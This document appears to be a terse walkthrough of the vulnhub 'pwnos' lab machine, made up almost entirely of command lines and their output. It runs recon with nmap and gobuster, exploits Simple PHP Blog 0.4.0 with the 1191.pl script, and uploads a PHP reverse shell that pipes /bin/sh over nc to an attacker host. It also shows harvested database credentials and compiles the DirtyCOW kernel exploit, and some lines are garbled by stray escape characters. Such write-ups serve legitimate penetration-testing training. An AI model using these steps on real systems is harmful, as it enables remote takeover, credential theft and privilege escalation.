PHPBLOG 0.4.0 EXPLOIT

REVERSE PHP SHELL

DIRTYCOW

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
| 1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_ 256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: 00:0C:29:29:CA:BE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
root@kali:/home/kali/Desktop/vulnhub/pwnos# gobuster dir -u http://10.10.10.100 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/blog (Status: 301)
/login (Status: 200)
/register (Status: 200)
/index (Status: 200)
/info (Status: 200)
/includes (Status: 301)
/activate (Status: 302)
/server-status (Status: 403)
http://10.10.10.100/blog/
```

```
root@kali:/home/kali/Desktop/vulnhub/pwnos# searchsploit simple php blog 0.4.0
Exploit Title
                                             | Path
Simple PHP Blog 0.4.0 - Multiple Remote s
                                                          | php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit)
                                                                       | php/webapps/16883.rb
root@kali:/home/kali/Desktop/vulnhub/pwnos\#\,cp\,/usr/share/exploitdb/exploits/php/webapps/1191.pl\;.
root@kali:/home/kali/Desktop/vulnhub/pwnos# perl 1191.pl -h http://10.10.10.100/blog -e 3 -U admin -P admin
http://10.10.10.100/blog/login_cgi.php
login successful!
root@kali:/home/kali/Desktop/vulnhub/pwnos# cat reverse.php
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.20 8082 >/tmp/f");
?>
http://10.10.10.100/blog/images/
root@kali:/home/kali/Desktop/vulnhub/pwnos# nc -nlvp 8082
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
```

\$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: '. mysqli_connect_error());
www-data@web:/var\$ uname -a
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
Dirtycow
gcc -pthread dirty.c -o dirty -lcrypt